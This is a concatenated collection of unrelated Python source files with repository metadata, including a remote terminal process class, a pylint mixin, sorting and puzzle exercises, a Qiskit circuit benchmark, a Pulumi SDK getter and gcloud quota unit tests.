import shlex
from . import proxy
log = logging.getLogger("m2m")
class RemoteProcess(proxy.Interceptor):
"""Process managed remotely over m2m."""
def __init__(self, command, channel, user=None, group=None, size=None):
self.command = command
self.channel = channel
self.size = size
self._closed = False
self.channel.set_callbacks(
on_data=self.on_data, on_close=self.on_close, on_control=self.on_control
)
super(RemoteProcess, self).__init__(user=user, group=group, size=size)
@property
def is_closed(self):
return self._closed
def __repr__(self):
return "RemoteProcess({!r}, {!r})".format(self.command, self.channel)
def run(self):
self.spawn(shlex.split(self.command))
def on_data(self, data):
try:
self.stdin_read(data)
except Exception:
self.channel.close()
def on_control(self, data):
try:
control = json.loads(data)
except Exception:
log.exception("error decoding control")
return
control_type = control.get("type", None)
if control_type == "window_resize":
size = control["size"]
log.debug("resize terminal to {} X {}".format(*size))
self.resize_terminal(size)
else:
log.warning("unknown control packet {}".format(control_type))
def on_close(self):
self.close()
def master_read(self, data):
self.channel.write(data)
super(RemoteProcess, self).master_read(data)
def write_master(self, data):
super(RemoteProcess, self).write_master(data)
def close(self):
if not self._closed and self.pid is not None:
log.debug("sending kill signal to %r", self)
# TODO: Implement a non-blocking kill
os.kill(self.pid, signal.SIGKILL)
log.debug("waiting for %r", self)
os.waitpid(self.pid, 0)
log.debug("killed %r", self)
self._closed = True
def __enter__(self):
return self
def __exit__(self, *args):
self.close()
|
[
"willmcgugan@gmail.com"
] |
willmcgugan@gmail.com
|
96cb59c86f3f04d1a645ab6dbe5dec9566815298
|
f693c9c487d31a677f009afcdf922b4e7f7d1af0
|
/biomixer-venv/lib/python3.9/site-packages/pylint/config/configuration_mixin.py
|
2b8402b1de70ad6af27d329a9b8a26da1ae427c9
|
[
"MIT"
] |
permissive
|
Shellowb/BioMixer
|
9048b6c07fa30b83c87402284f0cebd11a58e772
|
1939261589fe8d6584a942a99f0308e898a28c1c
|
refs/heads/master
| 2022-10-05T08:16:11.236866
| 2021-06-29T17:20:45
| 2021-06-29T17:20:45
| 164,722,008
| 1
| 3
|
MIT
| 2022-09-30T20:23:34
| 2019-01-08T19:52:12
|
Python
|
UTF-8
|
Python
| false
| false
| 1,105
|
py
|
# Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
# For details: https://github.com/PyCQA/pylint/blob/master/LICENSE
from pylint.config.option_manager_mixin import OptionsManagerMixIn
from pylint.config.options_provider_mixin import OptionsProviderMixIn
class ConfigurationMixIn(OptionsManagerMixIn, OptionsProviderMixIn):
"""basic mixin for simple configurations which don't need the
manager / providers model"""
def __init__(self, *args, **kwargs):
if not args:
kwargs.setdefault("usage", "")
OptionsManagerMixIn.__init__(self, *args, **kwargs)
OptionsProviderMixIn.__init__(self)
if not getattr(self, "option_groups", None):
self.option_groups = []
for _, optdict in self.options:
try:
gdef = (optdict["group"].upper(), "")
except KeyError:
continue
if gdef not in self.option_groups:
self.option_groups.append(gdef)
self.register_options_provider(self, own_group=False)
|
[
"marcelo.becerra@ug.uchile.cl"
] |
marcelo.becerra@ug.uchile.cl
|
42ff135cd3c609889f324bcda93251136a3573db
|
de24f83a5e3768a2638ebcf13cbe717e75740168
|
/moodledata/vpl_data/421/usersdata/309/85689/submittedfiles/tomadas.py
|
e849c70f0e33e8eac82fa6a18c34f43c973659d4
|
[] |
no_license
|
rafaelperazzo/programacao-web
|
95643423a35c44613b0f64bed05bd34780fe2436
|
170dd5440afb9ee68a973f3de13a99aa4c735d79
|
refs/heads/master
| 2021-01-12T14:06:25.773146
| 2017-12-22T16:05:45
| 2017-12-22T16:05:45
| 69,566,344
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 560
|
py
|
# -*- coding: utf-8 -*-
import math
#COMECE SEU CODIGO AQUI
soma =1
for i in range(1,5,1) :
while (True):
t=int(input("Digite o valor de tomadas da régua %d, por gentileza:" %i))
if (t>0):
break
soma=soma+t
print ("%d"%soma)
#t2=int( input("Digite o valor de tomadas na segunda régua, por gentileza:"))
#t3=int(input("Digite o valor de tomadas na terceira régua, por gentileza:"))
#t4=int(input("Digite o valor de tomadas na quarta régua, por gentileza:"))
|
[
"rafael.mota@ufca.edu.br"
] |
rafael.mota@ufca.edu.br
|
bb6dc98e989399e948ba525a6d333964b95d3386
|
df4fd380b3e1720a970573c4692eb0a32faf8f47
|
/sort/insert_sort.py
|
81debeb0a668d5850d4dd0f8ba1ff0eeeb77b87e
|
[] |
no_license
|
Taeheon-Lee/Algorithm
|
99dd21e1e0ddba31190a16d6c9646a9f393f4c4b
|
64ebacf24dfdf25194b5bce39f4ce43c4bc87141
|
refs/heads/master
| 2023-07-10T20:26:10.121214
| 2021-08-07T17:26:26
| 2021-08-07T17:26:26
| 383,803,983
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,307
|
py
|
"Insert Sort 삽입 정렬"
# 아직 정렬되지 않은 임의의 데이터를 이미 정렬된 부분의 적절한 위치에 삽입해 가며 정렬하는 방식
# 선택된 키값을 앞쪽 데이터들의 키값과 비교하며 자신의 위치를 찾아 삽입하여 정렬
# 최선의 경우, n-1번 비교하면 정렬이 완료
# 최악의 경우, 모든 단계에서 앞에 놓인 데이터들을 전부 이동 "n(n-1)/2 번 수행"
# 시간 복잡도는 최선의 경우 O(n), 최악의 경우 O(n²)
def insert_sort(lst):
"삽입 정렬 함수"
length = len(lst) # 리스트 길이
for i in range(1, length): # 인덱스 0은 이미 정렬된 것으로 볼 수 있음
key = lst[i]
for j in range(i-1, -1, -1):
if lst[j] < key:
j += 1 # 중간에 조건에 의하여 탈출할 경우, 키값 삽입을 위하여 인덱스값에 1을 더함
break
lst[j+1] = lst[j] # 키값보다 큰 요소값은 오른쪽으로 이동
lst[j] = key
lst = list(map(int, input().split())) # 정렬할 리스트 입력
insert_sort(lst) # 삽입 정렬 수행
print(lst) # 결과 출력
|
[
"taeheon714@gmail.com"
] |
taeheon714@gmail.com
|
a0cc6c8dfeb588a79e84e11ed632982a28f48784
|
a7122df9b74c12a5ef23af3cd38550e03a23461d
|
/Elementary/Three Words.py
|
ae2e7c11af4f31ee48707685af3bc478b686b7e3
|
[] |
no_license
|
CompetitiveCode/py.checkIO.org
|
c41f6901c576c614c4c77ad5c4162448828c3902
|
e34648dcec54364a7006e4d78313e9a6ec6c498b
|
refs/heads/master
| 2022-01-09T05:48:02.493606
| 2019-05-27T20:29:24
| 2019-05-27T20:29:24
| 168,180,493
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 843
|
py
|
#Answer to Three Words - https://py.checkio.org/en/mission/three-words/
def checkio(words: str) -> bool:
word_list = words.split()
three = 0
for i in word_list:
if i.isalpha():
three += 1
else:
three = 0
if three == 3:
return True
return False
#These "asserts" using only for self-checking and not necessary for auto-testing
if __name__ == '__main__':
print('Example:')
print(checkio("Hello World hello"))
assert checkio("Hello World hello") == True, "Hello"
assert checkio("He is 123 man") == False, "123 man"
assert checkio("1 2 3 4") == False, "Digits"
assert checkio("bla bla bla bla") == True, "Bla Bla"
assert checkio("Hi") == False, "Hi"
print("Coding complete? Click 'Check' to review your tests and earn cool rewards!")
|
[
"admin@remedcu.com"
] |
admin@remedcu.com
|
d90029074a8b3cb21014a71c04d262ed15bdd2a4
|
09e57dd1374713f06b70d7b37a580130d9bbab0d
|
/benchmark/startQiskit_Class2105.py
|
46f966d0a752418c6145076ba857b2bce1e11250
|
[
"BSD-3-Clause"
] |
permissive
|
UCLA-SEAL/QDiff
|
ad53650034897abb5941e74539e3aee8edb600ab
|
d968cbc47fe926b7f88b4adf10490f1edd6f8819
|
refs/heads/main
| 2023-08-05T04:52:24.961998
| 2021-09-19T02:56:16
| 2021-09-19T02:56:16
| 405,159,939
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,100
|
py
|
# qubit number=4
# total number=36
import cirq
import qiskit
from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister
from qiskit import BasicAer, execute, transpile
from pprint import pprint
from qiskit.test.mock import FakeVigo
from math import log2
import numpy as np
import networkx as nx
def bitwise_xor(s: str, t: str) -> str:
length = len(s)
res = []
for i in range(length):
res.append(str(int(s[i]) ^ int(t[i])))
return ''.join(res[::-1])
def bitwise_dot(s: str, t: str) -> str:
length = len(s)
res = 0
for i in range(length):
res += int(s[i]) * int(t[i])
return str(res % 2)
def build_oracle(n: int, f) -> QuantumCircuit:
# implement the oracle O_f
# NOTE: use multi_control_toffoli_gate ('noancilla' mode)
# https://qiskit.org/documentation/_modules/qiskit/aqua/circuits/gates/multi_control_toffoli_gate.html
# https://quantumcomputing.stackexchange.com/questions/3943/how-do-you-implement-the-toffoli-gate-using-only-single-qubit-and-cnot-gates
# https://quantumcomputing.stackexchange.com/questions/2177/how-can-i-implement-an-n-bit-toffoli-gate
controls = QuantumRegister(n, "ofc")
target = QuantumRegister(1, "oft")
oracle = QuantumCircuit(controls, target, name="Of")
for i in range(2 ** n):
rep = np.binary_repr(i, n)
if f(rep) == "1":
for j in range(n):
if rep[j] == "0":
oracle.x(controls[j])
oracle.mct(controls, target[0], None, mode='noancilla')
for j in range(n):
if rep[j] == "0":
oracle.x(controls[j])
# oracle.barrier()
return oracle
def make_circuit(n:int,f) -> QuantumCircuit:
# circuit begin
input_qubit = QuantumRegister(n,"qc")
classical = ClassicalRegister(n, "qm")
prog = QuantumCircuit(input_qubit, classical)
prog.h(input_qubit[3]) # number=16
prog.cz(input_qubit[0],input_qubit[3]) # number=17
prog.h(input_qubit[3]) # number=18
prog.cx(input_qubit[0],input_qubit[3]) # number=33
prog.x(input_qubit[3]) # number=34
prog.cx(input_qubit[0],input_qubit[3]) # number=35
prog.h(input_qubit[3]) # number=24
prog.cz(input_qubit[0],input_qubit[3]) # number=25
prog.h(input_qubit[3]) # number=26
prog.h(input_qubit[1]) # number=2
prog.h(input_qubit[2]) # number=3
prog.h(input_qubit[3]) # number=4
prog.h(input_qubit[0]) # number=5
oracle = build_oracle(n-1, f)
prog.append(oracle.to_gate(),[input_qubit[i] for i in range(n-1)]+[input_qubit[n-1]])
prog.h(input_qubit[1]) # number=6
prog.h(input_qubit[2]) # number=30
prog.cz(input_qubit[0],input_qubit[2]) # number=31
prog.h(input_qubit[2]) # number=32
prog.x(input_qubit[2]) # number=28
prog.cx(input_qubit[0],input_qubit[2]) # number=29
prog.h(input_qubit[2]) # number=7
prog.h(input_qubit[3]) # number=8
prog.h(input_qubit[0]) # number=9
prog.cx(input_qubit[3],input_qubit[2]) # number=22
prog.cx(input_qubit[2],input_qubit[0]) # number=10
prog.h(input_qubit[0]) # number=19
prog.cz(input_qubit[2],input_qubit[0]) # number=20
prog.h(input_qubit[0]) # number=21
prog.cx(input_qubit[2],input_qubit[3]) # number=15
# circuit end
return prog
if __name__ == '__main__':
a = "111"
b = "0"
f = lambda rep: bitwise_xor(bitwise_dot(a, rep), b)
prog = make_circuit(4,f)
backend = BasicAer.get_backend('statevector_simulator')
sample_shot =8000
info = execute(prog, backend=backend).result().get_statevector()
qubits = round(log2(len(info)))
info = {
np.binary_repr(i, qubits): round((info[i]*(info[i].conjugate())).real,3)
for i in range(2 ** qubits)
}
backend = FakeVigo()
circuit1 = transpile(prog,backend,optimization_level=2)
writefile = open("../data/startQiskit_Class2105.csv","w")
print(info,file=writefile)
print("results end", file=writefile)
print(circuit1.__len__(),file=writefile)
print(circuit1,file=writefile)
writefile.close()
|
[
"wangjiyuan123@yeah.net"
] |
wangjiyuan123@yeah.net
|
2e87fd0b48a421b52fc6a50780c58fc1488e04e6
|
add74ecbd87c711f1e10898f87ffd31bb39cc5d6
|
/xcp2k/classes/_angles1.py
|
96616c02397b22202a79759ec0c9b16dd6cb2395
|
[] |
no_license
|
superstar54/xcp2k
|
82071e29613ccf58fc14e684154bb9392d00458b
|
e8afae2ccb4b777ddd3731fe99f451b56d416a83
|
refs/heads/master
| 2021-11-11T21:17:30.292500
| 2021-11-06T06:31:20
| 2021-11-06T06:31:20
| 62,589,715
| 8
| 2
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 329
|
py
|
from xcp2k.inputsection import InputSection
class _angles1(InputSection):
def __init__(self):
InputSection.__init__(self)
self.Default_keyword = []
self._name = "ANGLES"
self._repeated_default_keywords = {'Default_keyword': 'DEFAULT_KEYWORD'}
self._attributes = ['Default_keyword']
|
[
"xingwang1991@gmail.com"
] |
xingwang1991@gmail.com
|
3c22e9c21b6f644c8bbd5ffc9b800d480868215d
|
07ec5a0b3ba5e70a9e0fb65172ea6b13ef4115b8
|
/lib/python3.6/site-packages/pip/_vendor/requests/packages/urllib3/contrib/appengine.py
|
d71d9e21e57c5fa6a6e12c71e7f2d39ec15bdbf1
|
[] |
no_license
|
cronos91/ML-exercise
|
39c5cd7f94bb90c57450f9a85d40c2f014900ea4
|
3b7afeeb6a7c87384049a9b87cac1fe4c294e415
|
refs/heads/master
| 2021-05-09T22:02:55.131977
| 2017-12-14T13:50:44
| 2017-12-14T13:50:44
| 118,736,043
| 0
| 0
| null | 2018-01-24T08:30:23
| 2018-01-24T08:30:22
| null |
UTF-8
|
Python
| false
| false
| 129
|
py
|
version https://git-lfs.github.com/spec/v1
oid sha256:35d37fc4e8032cc69d50f7bf74ddf075a9ff0c7f7e7f154da8582ad7db5ba90b
size 7937
|
[
"seokinj@jangseog-in-ui-MacBook-Pro.local"
] |
seokinj@jangseog-in-ui-MacBook-Pro.local
|
a2ca84aef2b9b69a884aa9a30a8f8b1264c9c8f1
|
c2e3f66a7c26be1b12a48a464c0db0f170826433
|
/WDI/lekcja 5 04.11.2020/zad20.py
|
2c4959a63829e8937d95dc7a62da9da9a7a0b7d5
|
[] |
no_license
|
HITOfficial/College
|
7b801b4eb93afc0b1b6a2b6f405db4161d8976d7
|
84eae6182397a9ad373718a077939461eb189fbb
|
refs/heads/main
| 2023-08-01T01:50:07.875292
| 2021-09-20T11:21:43
| 2021-09-20T11:21:43
| 303,842,865
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,671
|
py
|
# Dana jest tablica T[N][N] (reprezentująca szachownicę) wypełniona liczbami naturalnymi.
# Proszę napisać funkcję która ustawia na szachownicy dwie wieże, tak aby suma liczb na „szachowanych”
# przez wieże polach była największa. Do funkcji należy przekazać tablicę, funkcja powinna zwrócić położenie
# wież. Uwaga- zakładamy, że wieża szachuje cały wiersz i kolumnę z wyłączeniem pola na którym stoi
# myslałem że zadanie jest jakieś weird, ale wychodzi na to że jest luz
from random import randint
def chess_table():
chess_list = [[randint(1, 100) for _ in range(8)] for _ in range(8)]
return chess_list
def longest_row_col(chess_list):
# wstępnie zsumuję sobie każdy wiersz, i kolumnę i przypiszę je do tupla w liście (row,0,20) - (row/col, index, suma)
# print(chess_list)
sum_of_row_col = 16 * [0] # żeby sobie wczesniej zadeklarować długość listy, bo tak 3ba na zajęęciach to -> 0-7 rzędy, 8-15 kolumny
for i in range(len(chess_list)): # i - wiersz, j kolumna
sum_of_column = 0
sum_of_row = 0
for j in range(len(chess_list)):
sum_of_row += chess_list[i][j] # sumuje wiersze
sum_of_column += chess_list[j][i] # sumuje kolumny
sum_of_row_col[i] = ('ROW',i ,sum_of_row) # 0-7 będą sumy wierwszy
sum_of_row_col[8+i] = ('COL',i ,sum_of_column) # 8-15 sumy kolumn
sum_of_row_col.sort(key=lambda tup: tup[2], reverse=True)
print(sum_of_row_col[0:3])
# nie jest zrobione dokładnie bo jest łacznie z polem na którym stoi
longest_row_col(chess_table())
|
[
"noreply@github.com"
] |
HITOfficial.noreply@github.com
|
ae84f2f4ef44978d98a6a363f6caa06b298960c2
|
ca7aa979e7059467e158830b76673f5b77a0f5a3
|
/Python_codes/p03227/s957546769.py
|
48b0de137f448123c6d2f66af5501853e90c21d3
|
[] |
no_license
|
Aasthaengg/IBMdataset
|
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
|
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
|
refs/heads/main
| 2023-04-22T10:22:44.763102
| 2021-05-13T17:27:22
| 2021-05-13T17:27:22
| 367,112,348
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 301
|
py
|
# -*- coding: utf-8 -*-
"""
A - Measure
https://atcoder.jp/contests/tenka1-2018-beginner/tasks/tenka1_2018_a
"""
import sys
def solve(S):
return S if len(S) == 2 else S[::-1]
def main(args):
S = input()
ans = solve(S)
print(ans)
if __name__ == '__main__':
main(sys.argv[1:])
|
[
"66529651+Aastha2104@users.noreply.github.com"
] |
66529651+Aastha2104@users.noreply.github.com
|
a2749475eac129473aaa17068f2336ac1eb515ee
|
7b1edb732ca1159e428ecc4c2c1f5148f2ff03f0
|
/0x04-python-more_data_structures/9-multiply_by_2.py
|
43677229d843a9d8a1c7e025bbc2b610e5ef9fc6
|
[] |
no_license
|
maroua199525/holbertonschool-higher_level_programming
|
0045b1a31438f79e0da96b97e0a4d6eee46217c8
|
1df7014614ffb4b3fb2693a9711603d939b5dc35
|
refs/heads/master
| 2023-08-02T04:57:16.217728
| 2021-09-22T15:59:14
| 2021-09-22T15:59:14
| 361,716,729
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 260
|
py
|
#!/usr/bin/python3
def multiply_by_2(a_dictionary):
dictionary = a_dictionary.copy()
value = list(map(lambda x: x * 2, dictionary.values()))
key = dictionary.keys()
for i, v in zip(key, value):
dictionary[i] = v
return (dictionary)
|
[
"2646@holbertonschool.com"
] |
2646@holbertonschool.com
|
3cfa936ed48c53fcf3e5d2235f299be8bce0cf99
|
eda632b4d9f5a643bd4d086eef0860249bfbd64d
|
/8장/models.py
|
e639604d3c3ab0283ce33aa288d4887d8345c232
|
[] |
no_license
|
sohn0356-git/python_web
|
508e9bc7167893426d216c067f7eb634f71c4e65
|
f9b8d46df6be4b85b06daf491c3bda6a83117467
|
refs/heads/master
| 2021-01-13T17:59:48.799620
| 2020-03-12T00:26:14
| 2020-03-12T00:26:14
| 242,445,531
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 281
|
py
|
from flask_sqlalchemy import SQLAlchemy
db = SQLAlchemy()
class Fcuser(db.Model):
__tablename__ = 'fcuser'
id = db.Column(db.Integer, primary_key = True)
password = db.Column(db.String(64))
userid = db.Column(db.String(32))
username = db.Column(db.String(8))
|
[
"sohn0356@gmail.com"
] |
sohn0356@gmail.com
|
3ff4e2e9c9b07471979ab4bb2934b128bc6109b7
|
ba694353a3cb1cfd02a6773b40f693386d0dba39
|
/sdk/python/pulumi_google_native/healthcare/v1beta1/get_dataset.py
|
d56e29284fb73b5d51cfe90e671e86f999afa748
|
[
"BSD-3-Clause",
"Apache-2.0"
] |
permissive
|
pulumi/pulumi-google-native
|
cc57af8bd3d1d6b76f1f48333ed1f1b31d56f92b
|
124d255e5b7f5440d1ef63c9a71e4cc1d661cd10
|
refs/heads/master
| 2023-08-25T00:18:00.300230
| 2023-07-20T04:25:48
| 2023-07-20T04:25:48
| 323,680,373
| 69
| 16
|
Apache-2.0
| 2023-09-13T00:28:04
| 2020-12-22T16:39:01
|
Python
|
UTF-8
|
Python
| false
| false
| 3,030
|
py
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import copy
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from ... import _utilities
__all__ = [
'GetDatasetResult',
'AwaitableGetDatasetResult',
'get_dataset',
'get_dataset_output',
]
@pulumi.output_type
class GetDatasetResult:
def __init__(__self__, name=None, time_zone=None):
if name and not isinstance(name, str):
raise TypeError("Expected argument 'name' to be a str")
pulumi.set(__self__, "name", name)
if time_zone and not isinstance(time_zone, str):
raise TypeError("Expected argument 'time_zone' to be a str")
pulumi.set(__self__, "time_zone", time_zone)
@property
@pulumi.getter
def name(self) -> str:
"""
Resource name of the dataset, of the form `projects/{project_id}/locations/{location_id}/datasets/{dataset_id}`.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="timeZone")
def time_zone(self) -> str:
"""
The default timezone used by this dataset. Must be a either a valid IANA time zone name such as "America/New_York" or empty, which defaults to UTC. This is used for parsing times in resources, such as HL7 messages, where no explicit timezone is specified.
"""
return pulumi.get(self, "time_zone")
class AwaitableGetDatasetResult(GetDatasetResult):
# pylint: disable=using-constant-test
def __await__(self):
if False:
yield self
return GetDatasetResult(
name=self.name,
time_zone=self.time_zone)
def get_dataset(dataset_id: Optional[str] = None,
location: Optional[str] = None,
project: Optional[str] = None,
opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetDatasetResult:
"""
Gets any metadata associated with a dataset.
"""
__args__ = dict()
__args__['datasetId'] = dataset_id
__args__['location'] = location
__args__['project'] = project
opts = pulumi.InvokeOptions.merge(_utilities.get_invoke_opts_defaults(), opts)
__ret__ = pulumi.runtime.invoke('google-native:healthcare/v1beta1:getDataset', __args__, opts=opts, typ=GetDatasetResult).value
return AwaitableGetDatasetResult(
name=pulumi.get(__ret__, 'name'),
time_zone=pulumi.get(__ret__, 'time_zone'))
@_utilities.lift_output_func(get_dataset)
def get_dataset_output(dataset_id: Optional[pulumi.Input[str]] = None,
location: Optional[pulumi.Input[str]] = None,
project: Optional[pulumi.Input[Optional[str]]] = None,
opts: Optional[pulumi.InvokeOptions] = None) -> pulumi.Output[GetDatasetResult]:
"""
Gets any metadata associated with a dataset.
"""
...
|
[
"noreply@github.com"
] |
pulumi.noreply@github.com
|
7fa89e0e08735ef2d3f91806030c4918a84d5aad
|
d2ca1ab6ed63983d1bd6497f26a63f0445451844
|
/2015/04/fc_2015_04_08.py
|
871c3052fbcb6c6fd633cdaac920497c029bd5d2
|
[
"MIT"
] |
permissive
|
mfwarren/FreeCoding
|
96636367f4f4a53351535372c5691d7805199f23
|
58ac87f35ad2004a3514782556762ee0ed72c39a
|
refs/heads/master
| 2021-01-19T14:30:09.057354
| 2015-07-05T05:59:53
| 2015-07-05T05:59:53
| 24,469,988
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 953
|
py
|
#!/usr/bin/env python3
# imports go here
import datetime
from collections import defaultdict
from github import Github
import os
import plotly.plotly as py
from plotly.graph_objs import Data, Layout, Figure, Bar
#
# Free Coding session for 2015-04-08
# Written by Matt Warren
#
hub = Github(os.environ['GITHUB_USERNAME'], os.environ['GITHUB_PASSWORD'])
r = hub.get_repo('mfwarren/freecoding')
events = r.get_events()
week_ago = datetime.datetime.now() + datetime.timedelta(days=-7)
counts = defaultdict(int)
for event in events:
if event.created_at < week_ago:
break
counts[event.created_at.date()] += 1
# sort the dict
dates = list(counts.keys())
dates.sort()
event_counts = Bar(
x=dates,
y=[counts[d] for d in dates],
name='Github Events'
)
data = Data([event_counts])
layout = Layout(
barmode='stack'
)
fig = Figure(data=data, layout=layout)
plot_url = py.plot(fig, filename='Github Activity for the week')
|
[
"matt.warren@gmail.com"
] |
matt.warren@gmail.com
|
9c332035934bf11c99d4e9c9ec7262069f653b2c
|
d6952f048727add5b54a521d04f6c9b5889bcd35
|
/test/test_dag_folder_input_alias.py
|
768d7f33bd3474d3cc5bf000ee28744202ea245f
|
[] |
no_license
|
TfedUD/python-sdk
|
bf719644041c2ab7b741af9c7fb8e5acfe085922
|
7ddc34611de44d2f9c5b217cf9b9e7cec27b2a27
|
refs/heads/master
| 2023-08-10T21:13:45.270193
| 2021-06-21T14:48:36
| 2021-06-21T14:51:01
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,866
|
py
|
# coding: utf-8
"""
pollination-server
Pollination Server OpenAPI Definition # noqa: E501
The version of the OpenAPI document: 0.13.0
Contact: info@pollination.cloud
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import unittest
import datetime
import pollination_sdk
from pollination_sdk.models.dag_folder_input_alias import DAGFolderInputAlias # noqa: E501
from pollination_sdk.rest import ApiException
class TestDAGFolderInputAlias(unittest.TestCase):
"""DAGFolderInputAlias unit test stubs"""
def setUp(self):
pass
def tearDown(self):
pass
def make_instance(self, include_optional):
"""Test DAGFolderInputAlias
include_option is a boolean, when False only required
params are included, when True both required and
optional params are included """
# model = pollination_sdk.models.dag_folder_input_alias.DAGFolderInputAlias() # noqa: E501
if include_optional :
return DAGFolderInputAlias(
annotations = {
'key' : '0'
},
default = null,
description = '0',
handler = [
pollination_sdk.models.io_alias_handler.IOAliasHandler(
annotations = {
'key' : '0'
},
function = '0',
index = 56,
language = '0',
module = 'honeybee_rhino.handlers',
type = 'IOAliasHandler', )
],
name = '0',
platform = [
'0'
],
required = True,
spec = pollination_sdk.models.spec.Spec(),
type = 'DAGFolderInputAlias'
)
else :
return DAGFolderInputAlias(
handler = [
pollination_sdk.models.io_alias_handler.IOAliasHandler(
annotations = {
'key' : '0'
},
function = '0',
index = 56,
language = '0',
module = 'honeybee_rhino.handlers',
type = 'IOAliasHandler', )
],
name = '0',
platform = [
'0'
],
)
def testDAGFolderInputAlias(self):
"""Test DAGFolderInputAlias"""
inst_req_only = self.make_instance(include_optional=False)
inst_req_and_optional = self.make_instance(include_optional=True)
if __name__ == '__main__':
unittest.main()
|
[
"antoinedao1@gmail.com"
] |
antoinedao1@gmail.com
|
202e3ec820a2bfc5f5dd2de6968bf8fdae7afcd9
|
82a9077bcb5a90d88e0a8be7f8627af4f0844434
|
/google-cloud-sdk/lib/tests/unit/surface/endpoints/quota/update_test.py
|
9b8a0dd8fffe1836395bc164e16e520aba4c729b
|
[
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] |
permissive
|
piotradamczyk5/gcloud_cli
|
1ae2553595e569fad6ce84af62b91a7ee5489017
|
384ece11040caadcd64d51da74e0b8491dd22ca3
|
refs/heads/master
| 2023-01-01T23:00:27.858583
| 2020-10-21T04:21:23
| 2020-10-21T04:21:23
| 290,238,061
| 0
| 0
| null | 2020-10-19T16:43:36
| 2020-08-25T14:31:00
|
Python
|
UTF-8
|
Python
| false
| false
| 3,206
|
py
|
# -*- coding: utf-8 -*- #
# Copyright 2019 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Unit tests for endpoints quota list command."""
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
from googlecloudsdk.calliope import base as calliope_base
from tests.lib.surface.services import unit_test_base
class UpdateTestAlpha(unit_test_base.SCMUnitTestBase):
"""Unit tests for endpoints quota update command."""
OPERATION_NAME = 'operations/123'
OVERRIDE_ID = 'hello-override'
def PreSetUp(self):
self.track = calliope_base.ReleaseTrack.ALPHA
def testUpdate(self):
self.ExpectUpdateQuotaOverrideCall(self.mutate_limit_name,
self.mutate_metric, self.unit, 666,
self.OPERATION_NAME)
self.ExpectOperation(self.OPERATION_NAME, 3)
self.Run('endpoints quota update --service=example.googleapis.com '
'--consumer=projects/helloworld '
'--metric=example.googleapis.com/mutate_requests '
'--unit=1/min/{project} --value=666')
self.AssertErrEquals(
"""\
Operation "operations/123" finished successfully.
""",
normalize_space=True)
def testUpdate_force(self):
self.ExpectUpdateQuotaOverrideCall(
self.mutate_limit_name,
self.mutate_metric,
self.unit,
666,
self.OPERATION_NAME,
force=True)
self.ExpectOperation(self.OPERATION_NAME, 3)
self.Run('endpoints quota update --service=example.googleapis.com '
'--consumer=projects/helloworld '
'--metric=example.googleapis.com/mutate_requests '
'--unit=1/min/{project} '
'--value=666 --force')
self.AssertErrEquals(
"""\
Operation "operations/123" finished successfully.
""",
normalize_space=True)
def testUpdate_dimensions(self):
self.ExpectUpdateQuotaOverrideCall(
self.mutate_limit_name,
self.mutate_metric,
self.unit,
666,
self.OPERATION_NAME,
dimensions=[('regions', 'us-central1'), ('zones', 'us-central1-c')])
self.ExpectOperation(self.OPERATION_NAME, 3)
self.Run('endpoints quota update --service=example.googleapis.com '
'--consumer=projects/helloworld '
'--metric=example.googleapis.com/mutate_requests '
'--unit=1/min/{project} --value=666 '
'--dimensions=regions=us-central1 '
'--dimensions=zones=us-central1-c')
self.AssertErrEquals(
"""\
Operation "operations/123" finished successfully.
""",
normalize_space=True)
|
[
"code@bootstraponline.com"
] |
code@bootstraponline.com
|
612241aac8a50b5bd7b171fbe0a2fc7176d5547b
|
04b494a2286e7d0ec3bbe8d25c15d575486a0f91
|
/_exercises/exercise101/exercise101.py
|
f564c92b008b53d9142ca0ef0f10178c6cdd171b
|
[] |
no_license
|
ViniciusGranado/_studies_Python
|
ea6adc35edccfbd81a67a613e8cd468fd8485856
|
af645fa777a408a8ff1b8ed89911971f5b537ac7
|
refs/heads/master
| 2023-02-01T19:57:04.117047
| 2020-12-19T00:56:10
| 2020-12-19T00:56:10
| 258,855,637
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,034
|
py
|
# Functions
def vote(birth_year):
"""
:param birth_year: int. The users birth year.
:return: A string containing the age and wheter
the vote is NOT ALLOWED, OPTIONAL or
MANDATORY.
"""
from datetime import date
age = date.today().year - birth_year
return_str = f'Com {age} anos: '
if age < 16:
return_str += 'VOTO NÃO PERMITIDO'
elif age < 18 or age >= 70:
return_str += 'VOTO OPCIONAL'
else:
return_str += 'VOTO OBRIGATÓRIO'
return return_str
def get_birth_year():
"""
Get a number string by an user input, if the str is a
valid int number, return it in number format.
:return: num. A number in number format.
"""
while True:
user_number_str = input('Ano de nascimento: ').strip()
if user_number_str.isnumeric():
return int(user_number_str)
else:
print('Valor inválido.')
